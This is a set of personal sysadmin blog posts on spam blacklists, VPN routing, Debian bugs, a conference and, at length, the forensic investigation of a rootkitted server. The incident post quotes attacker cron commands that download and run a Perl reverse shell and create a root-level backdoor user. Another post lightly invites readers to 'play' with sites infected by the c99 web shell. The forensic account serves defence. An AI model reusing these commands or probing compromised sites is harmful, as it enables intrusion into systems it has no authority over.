A few months ago she bought a Seagate Barracuda 7200.11 500 GB loaded with firmware SD15. This specific firmware is known to be buggy and Seagate has provided a firmware upgrade for them, but of course she had no idea about that bug. Everything was OK until one day, suddenly, the BIOS couldn’t detect the disk. It didn’t take her long to find out the cause of the problem…

After several failed attempts to upgrade her firmware following the instructions placed at Seagate’s site she decided to send her disk to Greek companies that specialized on data recovery. One of them broke the seals of her disk but failed(!!) to do anything else. The other companies, asked a serious amount of money, 200-1000 Euros(!!!) in order to handle her case/take a preliminary look at the disk.

Fed up with those companies she finally decided to contact Seagate herself and she was given instructions via telephone to complete the online application form for technical support and data recovery.

The very next day, a courier took her disk, delivered it to Seagate Labs at Amsterdam and within a week, she had her disk brought back, totally repaired, with all her data intact(!!). Everything was free and her data was saved.

So the next time you have a hard disk problem, especially if it is a Seagate disk, contact Seagate before contacting these “specialized data recovery companies”. sigh.

Too bad I don’t have as much free time as I had in the past to post about interesting things. It’s a also a time for a redesign…I think I have the same theme for more than 5 years…

Anyway, GrRBL got redesigned yesterday by Christine and now there’s also a submission form for those who prefer it over forwarding emails. I also merged my other Greek spammers email addresses blacklist with lists by a couple of friends (postmasters) and now the list contains over 300 unique, verified, spammer addresses. This list is not yet public but if you are interested to use it and test it, give me a shout and I’ll give you access.

The simple command I used to find suspect files was:
# find . -name \*.php -exec grep -l "eval(base64_decode" {} \;

The results could be sorted in just 2 categories. Malware and stupidity. There was no base64_decode reference that did something useful in any possible way.

The best malware I found was a slightly modified version of the c99 php shell on a hacked joomla installation (the site has been hacked multiple times but the client insists on just re-installing the same joomla installation over and over and always wonders how the hell do they find him and hack him…oh well). c99 is impressive though…excellent work. I won’t post the c99 shell here…google it, you can even find infected sites running it and you can “play” with them if you like…

And now comes the good part, stupidity.
My favorite php code containing a base64_decode reference that I found:

$hash  = 'aW5jbHVkZSgnLi4vLi';
$hash .= '4vaW5jX2NvbmYvY29u';
$hash .= 'Zi5pbmMucGhwJyk7aW';
$hash .= '5jbHVkZSgnLi4vLi4v';
$hash .= 'aW5jX2xpYi9kZWZhdW';
$hash .= 'x0LmluYy5waHAnKTtl';
$hash .= 'Y2hvICRwaHB3Y21zWy';
$hash .= 'd2ZXJzaW9uJ107';
eval(base64_decode($hash));

Let’s see what this little diamond does:

% base64 -d 
aW5jbHVkZSgnLi4vLi4vaW5jX2NvbmYvY29uZi5pbmMucGhwJyk7aW5jbHVkZSgnLi4vLi4vaW5jX2xpYi9kZWZhdWx0LmluYy5waHAnKTtlY2hvICRwaHB3Y21zWyd2ZXJzaW9uJ107
include('../../inc_conf/conf.inc.php');include('../../inc_lib/default.inc.php');echo $phpwcms['version'];

So this guy used a series of strings which all of them together create a base64 encoded string in order to prevent someone from changing the version tag of his software. That’s not software, that’s crapware. Hiding the code where the version string appears ? That’s how you protect your software ? COME OOOOON….

Why
Some spammers use their aDSL lines which have dynamic IPs to send their massive email “newsletters”. These people are split into 2 sub-categories. The ones that use their own PC as an SMTP server and the ones who use their ISP’s mail server as SMTP. I’ve tried to complain to some of their ISPs…some replied back saying that they were willing to look into the issue (but did nothing at all in the end) and others did not even reply to me. For both sub-categories, GrRBL is ineffective since I can’t add dynamic IPs in the blacklist nor can I add the IPs of the email servers of those major Greek ISPs.

Another category of spammers is the one that uses their gmail/yahoo accounts to send their emails. GrRBL is ineffective for this category as well since I can’t add gmail/yahoo to the blacklist…

What
So there was no alternative but to gather all those email addresses of these 2 categories above and add them to a new blacklist, one that will contain email addresses. I use this blacklist with my spamassassin configuration to eliminate Greek spam that GrRBL can’t. Each time I receive (or someone forwards me) a new Greek spam, I add the “From:” email address to this new blacklist. This new blacklist grows far more aggressively than GrRBL since it’s a lot easier to gather the data and already has more than 140 addresses.

Distribution
There are two available formats of the blacklist, one ready for use by spamassassin and another one with clear formatting ready to be used even by SMTPs to drop these spam emails without even touching your inbox.
The blacklist is currently only distributed to a group of well trusted people and it is available only through rsync with a username/password.

I don’t want to make the list completely public yet, but if you are interested you can request it at the contact email of GrRBL and I will reply to you about accessing it.

Sidenote
If you need a good tool to check a host again some RBLs, adnsrblcheck by Yiorgos Adamopoulos is the way to go (and it includes GrRBL!)

In the client config I removed the client directive and replaced it with these commands:
tls-client
ifconfig 172.18.0.6 172.18.0.5
route 172.18.0.0 255.255.255.0
route 100.200.100.0 255.255.255.0

What the previous lines do:
tls-client: Acts as a client! (“client” is an alias for “tls-client” + “pull” … but I don’t like what the pull did–>it changed my default route)
ifconfig 172.18.0.6 172.18.0.5: The tun0 interface will have ip 172.18.0.6 on our side and 17.18.0.5 on the server side. The IPs are not random, they are the ones OpenVPN used to assign to me while I was using the “client” directive.
route 172.18.0.0 255.255.255.0: Route all packets to 172.18.0.0 on the tun0 interface. In order to access services running on the OpenVPN server (172.18.0.1) I needed a route to them.
route 100.200.100.0 255.255.255.0: Route all packets to 100.200.100.0 on the tun0 interface

A traceroute to 100.200.100.1 now shows that I accessing that subnet through the vpn.

First of all I found some sites with real estate listings. The ones I found/used/tried to use were: Χρυσή Ευκαιρία, Rento, Spitogatos and aggelies ta nea.

Each one though has it own benefits and problems, apart from some who only have problems.
Aggelies Ta Nea:
pros
None. I can’t find anything innovative about this site.
Cons
i) It has very few listings of places to rent in the areas I liked (downtown Athens).
ii) It is full of listings by real estates agents who ask you as payment one full rent if they manage to find you a house.
iii) There’s no map showing where each house is.
iv) There are pics of very very few houses in the listings.

Spitogatos:
Pros:
This site has a really neat feature, price per square meter. It’s quite nice to have the site calculate it for you.
Cons:
i) It has very few listings of places to rent in the areas I liked (downtown Athens).
ii) It’s default drop down price filtering boxes are a bit weird. It goes from 150->200->300->500->750>1000 Euros. So if I choose a price range of 300-500 euros I get a url like this:

http://www.spitogatos.gr/gr/search/results/residential/rent/r100/m2011m/nd/all/300/500/nd/85/nd/nd/nd/nd/nd/nd/nd/nd/all/rankingScore_desc

If I change it to:

http://www.spitogatos.gr/gr/search/results/residential/rent/r100/m2011m/nd/all/350/450/nd/85/nd/nd/nd/nd/nd/nd/nd/nd/all/rankingScore_desc

I get exactly what I wanted.
Having drop down boxes might be fine for some people, but they don’t let me be as specific as I would like. A form to fill the price range by hand would be a lot more useful for me.
iii) There’s no map showing where each house is.

Rento:
Pros:
i) Rento is the most innovative site I found. Every house listing is on google maps and you can access its details by just clicking on a house.
ii) It also features a VERY innovative search bar. You actually type a sentence about the house you would like and it searches for it.
iii) Each listing has pictures
iv) You can contact the owner by email
v) There’s an option to note each listing you like so you get something like “bookmarks”.

Cons:
i) It has very few listings of places to rent in the areas I liked (downtown Athens).
ii) The search bar did not have a negation clause. You can’t search for “not something”. So since I didn’t want a ground flour house, I couldn’t filter them out.
iii) The search bar would sometimes filter more than you asked for. If I searched for a price range of 350-450 and got some houses, then if I search for a 40-60 sq. meters I got some others. If I searched for both the price range and the sq. meters I got very very few results.
iv) Many of the listings were quite outdated. Places had been rent weeks ago and the listings were still on the site. (I guess that’s a problem with real estate sites…owners don’t tell the sites whether the house has been sold/rented when that happends).
v) There’s no way to see the most recently placed listings.

The awkward thing about Rento was that I met the people who manage it in a Ruby meeting in Athens one week after I got the house. They were aware of these problems and they said that they have already corrected them and will push their changes to the site very soon. I sure hope so because the site is definitely worth it.

One suggestion for rento would be to have an option to export as kml the “bookmarked” houses.

Χρυσή Ευκαιρία:
Pros:
i) Many many houses listed.
ii) The filtering for the search works very well.

Cons:
i) Very few pics of the houses (if any)
ii) Not every house is listed on a map
iii) In order to get the owner’s telephone you have to send an sms, or call a number and pay some amount of money.
iv) Not every house has an address listed.

I ended up using Χρυσή Ευκαιρία due to it’s massive database with listed houses. I tried to use rento and spitogatos but I just couldn’t find what I wanted. (Maybe I’ll get luckier when I’ll try to move to a new house.)

I then created an unlisted google map called “new houses” and started placing marks on the houses from Χρυσή Ευκαιρία that I liked, sorted by date of last update, and were placed on a map in the site. Then I started calling the owners of the rest to find out where they were. If they were in a place that I liked I made an appointment to go and check the house.
I placed all the appointments at the “TagToDo List” application for my android.
Unfortunately I couldn’t use the “My maps Editor” by Google on my android due to some bug it stopped connecting to google maps. It would be really useful to have this app because I could have all the places I placed on “new houses” and have them with me. Instead I had to print the maps with the marks on them.

Finally in order to walk around the city and not get lost I used the Rmaps application. It’s so much better than the standard google maps because you can get many different maps, and with the addition of GPS Status you can copy paste your exact location to any notes applications you might be using on android to track new houses you find while walking.

<rant>
On my laptop (Macbook 4,1) I run Debian testing/experimental which was running quite smoothly since I installed it apart from the couple few weeks.

The first problem I faced was java not running inside browsers. Firefox, Iceweasel, Opera, google-chrome…nothing. I spent at least 2 hours installing/uninstalling various java packages, moving plugins to new locations and I couldn’t get it to work. I was furiously googling about the issue until I hit the jackpot: squeeze : in case you have no network connection with java apps ……

Today I upgraded xserver-xorg-input-synaptics from 1.2.0-2 to 1.2.1-1. Even though it is a minor version bump a kind fairy also told me to reboot…I rebooted and my touchpad was not working properly, tapping was lost, I couldn’t use synclient because shared memory config (SHM) was not activated and so on and so on. My dynamic config using hal was there, /var/log/Xorg.0.log said that I was using the proper device and lshal showed correct settings for the device. I read /usr/share/doc/xserver-xorg-input-synaptics/NEWS.Debian.gz nothing new. After some googling another jackpot: Bug#564211: xserver-xorg-input-synaptics: Lost tapping after upgrading to 1.2.1-1. For some reason touchpad config has moved to udev from hal and the maintainers didn’t think it was important enough that needed to be documented someplace or put it in README.Debian…

The last issue I am having is with linux-image-2.6.32-trunk-686-bigmem not working correctly with KMS and failing with DRM.
[ 0.967942] [drm] set up 15M of stolen space
[ 0.968030] nommu_map_sg: overflow 13d800000+4096 of device mask ffffffff
[ 0.968085] [drm:drm_agp_bind_pages] *ERROR* Failed to bind AGP memory: -12
[ 0.968159] [drm:i915_driver_load] *ERROR* failed to init modeset
[ 0.973067] i915: probe of 0000:00:02.0 failed with error -28

linux-image-2.6.32-trunk-686 works fine with those though.
[ 0.973466] [drm] set up 15M of stolen space
[ 1.907642] [drm] TV-16: set mode NTSC 480i 0
[ 2.137173] [drm] LVDS-8: set mode 1280x800 1f
[ 2.193497] Console: switching to colour frame buffer device 160x50
[ 2.197435] fb0: inteldrmfb frame buffer device
[ 2.197436] registered panic notifier
[ 2.197442] [drm] Initialized i915 1.6.0 20080730 for 0000:00:02.0 on minor 0

Xorg is amazingly sluggish using linux-image-2.6.32-trunk-686-bigmem kernel. I search the debian bugs database and noone seems to have reported such an issue. But google came up with: [G35/KMS] DRM failure during boot (linux 2.6.31->2.6.32 regression). The issue looks solved so I will try and report it to Debian and see what comes out of it…
*Update* Bug Report: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=567352

If you dare to comment saying “that’s what you get for using experimental” I really hope and curse you to spend 3 hours today to try and figure out what has changed in a minor version upgrade of one of your installed packages.
Even worse, if you are on those guys that kept telling me “don’t use stable, testing is stable as a rock, never had a problem in years…” then I curse you to spend a whole day trying to reconfigure something with no documentation
<rant></rant>

Until today the list peaked at 70 subscribers…I hope this will make more people trust my filter list and reach at least 100 subscribers.

As a sidenote, my RBL for Greek spam has moved to a new, better server thanks to a very kind person who donated it and some people administering mail servers have already added it to their spam filters. Since the original announcement the RBL jumped from 500 reqs/min to 2000 reqs/min.

The list is strictly moderated by me and only me and I try to be very selective on hosts I add to the list. The list contains hosts not only in .gr zone but also “foreign” hosts used to send spam messages either in Greek language or of Greek interest.

There’s a minimalistic guide on using it with spamassassin, exim, sendmail and postfix on GrRBL’s website. There are currently no statistics and no public listing of IPs in the blacklist. If there’s enough demand for statistics I might create some.

There’s also NO automatic deletion support, once an IP is in the list there’s no automatic way out. Since I am the only one adding IPs to the list, I am also the only one removing them, manually of course.

Even though I use GrRBL in all of the mail servers I own/manage, still I consider the service as beta. I don’t think it’s ever going to eat your emails, but you are still the only one responsible if this happens.

To submit new spam messages for inclusion please send me an email with FULL headers of the spam message to grrbl [at] void [dot] gr and I will try to take a look at it as soon as possible.

If you use it, or plan to, please leave a comment or even better, submit some spam messages so the list gets bigger and better.

P.S. In case you wonder, yes the list contains the IPs of the notorious sofokleous10 spammer.

After a canceled flight on the 26th of December due to fog on SKG airport we finally flew on the 27th and went to Berlin. After arriving there we immediately went to the hotel we had booked and then straight to the Berliner Congress Center where the 26c3 was taking place.

BCC is an excellent conference center, nothing close to anything I have ever seen in Greece. It looks great both from the outside and from the inside. When we entered BCC we saw a huge number of diverse people. You could see and feel the difference with all the other IT conferences. People were very relaxed, very talkative and extremely friendly. What makes CCC so special is it’s community. There were soooo many CCC volunteers inside the BCC willing to help you with any information you might need. More on that later on…

After paying just 80€ for the whole conference, 4 days, we started walking around the ground floor. There were many information desks of various projects, free PCs to use (loaded with Ubuntu), the huge lounge which included a bar for food and drinks with lots of seats for people and 2 rooms for presentations. On the upper floor there were many more projects and another large room for presentations.

What made BCC so lively were all these projects around the presentation rooms. There were always hundreds of people sitting outside of the presentation rooms hacking on their projects, discussing with other people, selling merchandise, etc. Because it was our first time in the conference we were not experienced enough to use our time wisely between the lectures so I only managed to visit very few projects, Cacert, Gentoo and Debian. I am sure that there were people who did not attend any lectures at all and just sat all day at their projects’ infodesk.

Before I continue with the presentations we went to I want to make a note about volunteers again. Volunteers at 26c3 were called angels and they did an EXCELLENT job. They would not allow you to sit wherever you liked at a lecture, they would try to find you a seat or they would put you on a place where you could stand without blocking others. Nobody was allowed to sit at the corridors, nobody. Everything was in order and I never ever heard a single person complain about angels’ policy. They were strict and firm on one hand but helpful, fair and polite on the other. They were probably the best volunteers I have ever faced anywhere. All of them were carrying an ID and a DECT phone on them to cooperate with other angels (oh yes, the conference had it’s own DECT network…AND it’s own GSM network!!!) Funny quote: Angels at the entrance and exit doors wore t-shirts that wrote “Physical ACL”, heh.

The very first presentation we attended was “Here Be Electric Dragons“, and then we moved to see “Exposing Crypto bugs through reverse engineering“. After a break we tried to go to the “GSM: SRSLY?” lecture but it was SOO full that we were not allowed to go inside the presentation room. So we went to the “Tor and censorship: lessons learned” presentation which was more interesting than I expected. The final talks we saw on the first day were: “UNBILD – Pictures and Non-Pictures” which was in German and of course “cat /proc/sys/net/ipv4/fuckups“. Since none of us spoke German there was no urge to see the UNBILD lecture, but as we painfully understood by not being able to even enter the presentation room for the “GSM: SRSLY?” lecture, you have to go a LOT earlier to see a good lecture. We definetely wanted to see fabs lecture so we went there an hour earlier to find some seats. By the way, outside of the presentation rooms were TVs with live streaming from inside for people who couldn’t go inside or for people who didn’t want to. As I said earlier a lot of people preferred sitting at their projects’ infodesk and watched the streams of the presentations.

On the next day we saw: “Milkymist“, “Advanced microcontroller programming“, “Fuzzing the Phone in your Phone“, “Defending the Poor, Preventing Flash exploits“, “Haste ma’n netblock?” and “SCCP hacking, attacking the SS7 & SIGTRAN applications one step further and mapping the phone system“.

On the third day just “Playing with the GSM RF Interface“, “Using OpenBSC for fuzzing of GSM handsets” and “Black Ops Of PKI” since we decided to do some sightseeing as well

Finally on the last day we went to “secuBT” and from that to another German lecture about a distributed portscanner called Wolpertinger that replaced a canceled lecture on IBM AS/400. Afterwards we went to the realtime English translation stream of “Security Nightmares” and to the “Closing Event“.

I had a really great time and I certainly want to be there again next year. If I manage to go there again though I will try take a lot more days off work so I can visit many more places around the city. The whole event was excellent, the organization was almost perfect and the people who contributed to it deserve a huge applaud, especially the angels.

Congratulations to all.

Necessary pics:

P.S. I don’t want to go into specific details about the lectures I attended. Some were REALLY good, some were average and some were totally boring. If you follow the news you already know which streams of lectures you should certainly download and see. You can find every lecture on CCC’s FTP server.

P.S.2 What a great wiki for an event…I was amazed by the amount of information one can find in there…

P.S.3 To Greeks only…please download the closing event presentation to see how we should start organizing events. Just check on the efforts of the people who contributed to the 26c3 event. I don’t want to write anything more about this issue because the difference with any Greek event I’ve ever attended to, or even the mentality of the people attending “our” events is SO SO SO HUUUUGE that it makes me really sad. I hope that this might fire up something. If more Greeks attended events organized abroad then maybe one day we might get more serious about our events as well.

You Are Using Adblock Plus or some other advert blocking software! Archivum.info relies on advertising for revenue. Please add www.archivum.info to your ad blocking whitelist or disable ad blocking when you visit www.archivum.info.

When I first saw this I laughed…and then I tried to find a way to bypass it.
I used curl to see the sites html code:

$ curl -v www.archivum.info
curl -v www.archivum.info 
* About to connect() to www.archivum.info port 80 (#0)
*   Trying 69.147.224.162... connected
* Connected to www.archivum.info (69.147.224.162) port 80 (#0)
> GET / HTTP/1.1
> User-Agent: curl/7.19.5 (i486-pc-linux-gnu) libcurl/7.19.5 OpenSSL/0.9.8k zlib/1.2.3.3 libidn/1.15 libssh2/1.2
> Host: www.archivum.info
> Accept: */*
> 
< HTTP/1.1 200 OK
< Date: Tue, 17 Nov 2009 11:24:22 GMT
< Server: Apache
< Last-Modified: Mon, 16 Nov 2009 08:41:17 GMT
< Accept-Ranges: bytes
< Content-Length: 9392
< Vary: Accept-Encoding
< Content-Type: text/html
< 
<html>
<head>
<title>archivum.info - The Internet archive.</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<script type="text/javascript">var disabled = false;</script><script type="text/javascript" src="http://www.archivum.info/js/adblocker_probe.js?
site=http://googlead.foobar.tld/"></script><script type="text/javascript">if (disabled == false) { location.replace("http://www.archivum.info/denied");
alert("You Are Using Adblock Plus or some other advert blocking software! Archivum.info relies on advertising
for revenue. Please add www.archivum.info to your ad blocking whitelist or disable ad blocking when you visit
www.archivum.info.");}</script></head>

[snip]

Here’s how this site blocks Adblockplus: there’s a variable called disabled set to “false” then if a js (http://www.archivum.info/js/adblocker_probe.js) runs it sets disabled to “true” . The hint is that adblockplus blocks urls starting with “googlead.” so it won’t visit “http://www.archivum.info/js/adblocker_probe.js?site=http://googlead.foobar.tld/” and the variable will remain “false“. Then the alert pops up.

The solution is very simple, just add an exception to your local AdblockPlus rules, AdblockPlus Preferences -> Add Filter:
@@|http://www.archivum.info/js/adblocker_probe.js?site=http://googlead.foobar.tld/

So firefox, visits the js url, disabled becomes “true” you are allowed to continue browsing the site and AdblockPlus continues blocking all blockable items.

Not bad at all regarding the owner of the servers, but still I have many security related concerns about the hosting company

OSSEC HIDS Notification.
2009 Oct 06 17:45:17

Received From: XXXX->rootcheck
Rule: 510 fired (level 7) -> "Host-based anomaly detection event (rootcheck)."
Portion of the log(s):

Rootkit 'Suspicious' detected by the presence of file '/var/www/vhosts/YYYY.com/httpdocs/album_mod/..  /.../.log'.

 --END OF NOTIFICATION

OSSEC HIDS Notification.
2009 Oct 06 17:45:17

Received From: XXXX->rootcheck
Rule: 510 fired (level 7) -> "Host-based anomaly detection event (rootcheck)."
Portion of the log(s):

Rootkit 'Suspicious' detected by the presence of file '/var/www/vhosts/YYYY.com/httpdocs/language/lang_english/     /... /.log'.

 --END OF NOTIFICATION

OSSEC HIDS Notification.
2009 Oct 06 17:45:17

Received From: XXXX->rootcheck
Rule: 510 fired (level 7) -> "Host-based anomaly detection event (rootcheck)."
Portion of the log(s):

Rootkit 'Suspicious' detected by the presence of file '/var/www/vhosts/YYYY.com/httpdocs/language/     /... /.log'.

 --END OF NOTIFICATION

Just found this by copying some files for a client from his previous hosting company to one of the hosting servers of a company I work for.

There were actually 2 different sets of files.
The first one contained a tool that “hides” a process, called: “XH (XHide) process faker”, and the second one contained an iroffer executable.

Files:
i)xh-files.tar.gz
Listing:
.log/
.log/.crond/
.log/.crond/xh
.log/week~
.log/week

ii)iroffer-files.tar.gz
Listing:
.--/
.--/imd.pid
.--/imd.state.tmp
.--/imd.state
.--/linux

Mind the . (dot) of the directories containing the files.

Some details, the server had 2 disks, sda with the OS (Debian 4.0) with Plesk control panel and sdb which had some backup files.

October 1st 2009:
10:10 I got a telephone call to help on that server because it looked dead and it couldn’t even be rebooted from the hosting’s company control panel.
10:15 I contacted the company’s support by email and notified them of the problem.

10:23 I got an email that the engineers would take a look at he problem as soon as possible.
11:01 I got another email from an engineer telling me that he will take a look at the server and will notify me with updates on the issue.
11:36 I got the following email:

There is something wrong with either the drive or the drives drivers.
While booting it gives strange errors that the drive is busy and cant be
accessed. After rebooting it gives me a bootdisk failure.

I will run some tests on the drive to see if it is faulty. If so I will
update you and replace the drive.

This all is regarding the first drive ’sda’.

I hope to have informed you sufficient. When I know more I will update you.

11:59 Another email from tech support:

I would like to update you about the following.

After trying to do some tests the only result I have is that the drive
can’t be found by my harddrive checking software. This usually indicates
that the drive is faulty.

I hope you have all your data back-upped or you have it on the second
disk (which seems to be fine).

I will replace the harddrive for you and reinstall your system.

When this is done I will update you. If you have any questions or
suggestions before I replace the drive please let me know.

I hope to have informed you sufficient.

12:08 I replied:

You have informed me more than sufficiently…unfortunately though you
didn’t have any good news to tell me…

I have backups offline, and I might even have some on the second disk
as far as I can remember. So just re-install Debian with Plesk on it
and I will import back my settings.

Thanks a lot for your time and work, I really appreciate it

14:41 New email from tech support:

I would like to inform you about your server XXX.

Fortunately i have good news for you! Because you (seem to have) used your harddrive in a
raid-1 configuration, i was able to replace the broken harddrive. After this i was able to
succesfully boot your machine. After checking: the new harddrive is being recognized and it
is ready to use.

Hope to have informed you sufficiently. If you have any further questions do not hesitate to
contact us again.

Now, THAT was strange. There was no raid-1 config on the drives. The machine was pingable and I could ssh to it. I entered the box and I found myself in the old sda drive but with a totally different sdb disk attached. It was a disk with another installation inside, from someone else who had a raid-1 config. I can only guess that tech support somehow mixed up the disks from his box and “my” server so I got his second raid-1 disk. sda was _NOT_ changed! That meant that the “backup” disk was gone but sda was working. I quickly created a backup dir on sdb and rsync-ed the whole sda to sdb, sdb had just a basic install inside, only 3Gb out of 80Gb were used. Some files were corrupt though and S.M.A.R.T. reported errors from time to time while copying.

15:23 I emailed them back to notify them that they did not actually change sda

The box might be up but the disk (sda) is in a very bad condition.
S.M.A.R.T checks report this
Oct 1 14:09:04 XXX smartd[2889]: Device: /dev/sda, 1 Offline
uncorrectable sectors

I can’t use mysql as well, it reports broken tables. I can restore the
tables from backup but I would need a good working disk to do that.

From the following 2 diagrams I can see that you replaced sdb and not sda.

http://XXX/munin/YYY/XXX-smart_sda.html

http://XXX/munin/YYY/XXX-smart_sdb.html

Can you please let me know of what changed ? I got confused.
If possible please call me at +555-1234 or +5555-5678 for details

16:52 Email response from tech support:

Regarding your server XXX, I would like to inform you with the following.

It indeed looks like we replaced the wrong drive for you. Since I read
you have offline backups. I would like to replace both harddrives in
your server.

Please let us know if we can replace both drives and reinstall your
server from scratch.

If you have any other questions, don’t hesitate to contact us again.

17:05 I replied:

Since you have replaced sdb already I took another system backup on
that disk in order to save bandwidth and precious time.

What I would like from you to do is to see whether you can take an
exact image of “sda” to another 80Gb disk and put that new sda disk on
the machine to boot (probably using a disk imaging tool or linux dd
command). That would save both you and me looooots of time since I
would just have to replace the damaged files on the system and you
don’t have to re-install.

If imaging sda fails, then you can resort back to re-installing.

To help you identify the drives:
sda is Western Digital:
=== START OF INFORMATION SECTION ===
Model Family: Western Digital Caviar SE (Serial ATA) family
Device Model: WDC WD800JD-75MSA1
Serial Number: WD-XXXXXXXXXXXX
Firmware Version: 10.01E01
User Capacity: 80,000,000,000 bytes
Device is: In smartctl database [for details use: -P show]
ATA Version is: 7
ATA Standard is: Exact ATA specification draft version not indicated
Local Time is: Thu Oct 1 16:03:19 2009 CEST
SMART support is: Available – device has SMART capability.
SMART support is: Enabled

and sdb is Maxtor:
=== START OF INFORMATION SECTION ===
Model Family: Maxtor DiamondMax Plus 9 family
Device Model: Maxtor 6Y080M0
Serial Number: YYYYYYYYYY
Firmware Version: YAR51HW0
User Capacity: 80,000,000,000 bytes
Device is: In smartctl database [for details use: -P show]
ATA Version is: 7
ATA Standard is: ATA/ATAPI-7 T13 1532D revision 0
Local Time is: Thu Oct 1 16:04:08 2009 CEST
SMART support is: Available – device has SMART capability.
SMART support is: Enabled

Please leave Maxtor (sdb) as it is!

I clearly did not want to tell them that sdb had the installation of another guy because I wasn’t sure that they would be able to bring me back my old sdb. If they couldn’t I would have to transfer all the backup data I had offline through the net, which would surely take a reaaaaally longer time than copying from disk to disk. If they left the new sdb on the box though I could easily copy most part of the system to the “new” sda when they would put it and only restore the corrupted files.

18:05 New email from tech support

In reply to your email, I would like to inform you with the following.

One of our engineers will try making an image of sda to a new disk as
soon as possible. The engineer will update you about the progress.

If you have any qeustions in the meantime, don’t hesitate to contact us

October 2nd
09:52 New email from tech support:

I would like to inform you on this ticket.

Your server was re-installed with Debian last night.
This morning I have completed the Plesk install.

Server details:

- XXX
- IP: AA.BB.CC.DD
- Password (root): ABCDEFGHIJK

Plesk Details:

- Plesk 8.6
- https://AA.BB.CC.DD:8443
- Password (admin):LMNOPQRSTU

If you need any further support on this ticket, please inform us.

This is a really bad policy. Sending an email with root login details is totally unacceptable for my security standards, and I usually don’t nag about security _that_ much. But an email with the root password ? Come oooon….

Anyway, I started the restore procedure from sdb to sda. At about 12:00 everything was mostly working again. At about 14:00 I had this brilliant idea to upgrade the kernel. The box had 2.6.18-6-486 so I decided to install 2.6.24-etchnhalf.1-686. The output of apt-get install linux-image-2.6.24-etchnhalf.1-686 was a bit weird though. It contained these lines among others:
Searching for splash image ... none found, skipping ...
/bin/ls: invalid option -- v Try `/bin/ls --help' f or more information


ls did not have a “-v” option ? This couldn’t be right…I issued an ls -v manually:
# /bin/ls -v
/bin/ls: invalid option -- v
Try `/bin/ls --help' for more information.
# /bin/ls --version
ls - GNU fileutils-3.1

Gnu fileutils ? I go check /bin/ls on another Debian 4.0 box. ls -v works there and I also get

# ls --version
ls (GNU coreutils) 5.97
Copyright (C) 2006 Free Software Foundation, Inc.
This is free software.  You may redistribute copies of it under the terms of
the GNU General Public License <http://www.gnu.org/licenses/gpl.html>.
There is NO WARRANTY, to the extent permitted by law.

Written by Richard Stallman and David MacKenzie.

I checked /mnt/backup/bin/ls (the sdb drive I had taken a backup of the previous sda). It correctly showed the coreutils 5.97 version.
I started thinking that something was totally wrong with the installation. I tried to reinstall coreutils. Then I got a new set of errors.
unable to make backup link of `./bin/ls' before installing new version: Operation not permitted

Ok…I knew by then that this was BAD. The machine was probably hacked and had some type of rootkit installed. I just wanted to make sure.
# lsattr /bin/ls
s---ia------- /bin/ls
# lsattr /bin/ps
s---ia------- /bin/ps
# lsattr /sbin/ifconfig
s---ia------- /sbin/ifconfig
# lsattr /bin/netstat
s---ia------- /bin/netstat
# lsattr /usr/bin/md5sum
s---ia------- /usr/bin/md5sum

Helloooo rootkit. The files had the following extended attibutes set:
a: A file with the ‘a’ attribute set can only be open in append mode for writing. Only the superuser or a process possessing the CAP_LINUX_IMMUTABLE capability can set or clear this attribute.
i: A file with the ‘i’ attribute cannot be modified: it cannot be deleted or renamed, no link can be created to this file and no data can be written to the file. Only the superuser or a process possessing the CAP_LINUX_IMMUTABLE capability can set or clear this attribute.
s: When a file with the ‘s’ attribute set is deleted, its blocks are zeroed and written back to the disk.

Using the ps executable from /mnt/backup/bin/ps I was able to check the processes for things that did not appear when using the trojaned /bin/ps.
I diff-ed the output of the 2 ps commands and here’s the result:

root      2695  0.0  0.0   2064   512 ?        Ss   10:59   0:00 /sbin/ttyload -q
root      2697  0.0  0.0   1692   568 ?        S    10:59   0:00 ttymon tymon

I opened vim on /sbin/ttyload file and I saw among the headers:
^@$Info: This file is the propert of SH-crew team designed for test purposes. $
^@$Nr: SH- April/2003 produced in SH-labs for Linux Systems.Run and enjoy. $


A netstat -anp using a /mnt/backup/bin/netstat showed ttymon listening on raw:1 socket.

But how was ttymon loaded at startup ?
Inside the /etc/inittab file I found the following:
# Loading standard ttys
0:2345:once:/usr/sbin/ttyload

/usr/sbin/ttyload contained the following:
/sbin/ttyload -q >/dev/null 2>&1
/sbin/ttymon >/dev/null 2>&1

With Google’s precious help I was able to determine/identify that the rootkit installed was SHv5.

Ok, the server was hacked, it contained a rootkit but how did the attacker manage to compromise it ? I started checking on the logs. Syslog first of course. I used /mnt/backup/usr/bin/less /var/log/syslog, among other useless things I saw the following entries:
Oct 2 08:23:01 IQS002 /USR/SBIN/CRON[21227]: (root) CMD (cd /var/ && rm -rf prs2.pl && wget http://QQ.RR.EE.TT:64891/prs2.pl && perl prs2.pl && echo main.c)
Oct 2 08:23:01 IQS002 /USR/SBIN/CRON[21229]: (root) CMD (/usr/sbin/useradd -d /usr/local/psa/plesk -g root -G root -s /bin/sh -p "9XRcZIXmTrZ/6" plesk-root && /usr/sbin/usermod -u 0 -o plesk-root)


So there was a crontab entry which download a file, ran it and then another crontab entry created a new user called plesk-root.
I downloaded the prs2.pl file and it was a perl reverse shell. It’s apparent that whoever did it had already access to the box at 08:23 in order to install the crontab entry, remember that I was given access to the box by the email sent at 09:52.

That made me FURIOUS. I can’t stress furious with enough boldness…only a <blink> tag can show how mad I was at the time with the tech support.

I notify the guy who told me to take a look at the server and we decide that I would go to his office to call the hosting company’s tech support on the phone. While driving I also called a friend to ask him about raw socket listening details…(thanks man).

I arrive at his office, I show him my findings and we call tech support. I try to explain to the nice lady that picked up the phone that I had a serious security issue with a dedicated server and that I wanted to speak to the specific engineer that installed the server, I knew his name from the emails. Instead of giving me that specific engineer I was transfered to talk to another guy. I told him the ticket number and he put me on hold for 10 minutes to read the ticket. He then came back and I told him to login to the box. He said he couldn’t. I told him that I have changed the sshd port to port number XXX but he said he could still not login. I told him to use ssh -p XXX root@IP to login but he said he couldn’t login. He also asked me to reset the root password to the one they sent by email. I couldn’t stand him much longer so I told him I would do it and that I would send him specific login details by email and that he should call me back immediately after receiving the email. And so I did.

15:53 I sent the tech support the following email:

ssh -p 222 root@AA.BB.CC.DD
the password is: ABCDEFGHIJK

telephone number: +5555-3456

Nothing was happening. They neither called me nor logged inside the box.

16:10 I sent another email…and I was angry…really angry

what’s taking you so long…I told you this is an important security
issue on your side and you had me 10minutes on call waiting…You told
me you couldn’t connect with ssh (??) and I mailed you back the login
details and still nothing happens after another 15 minutes.

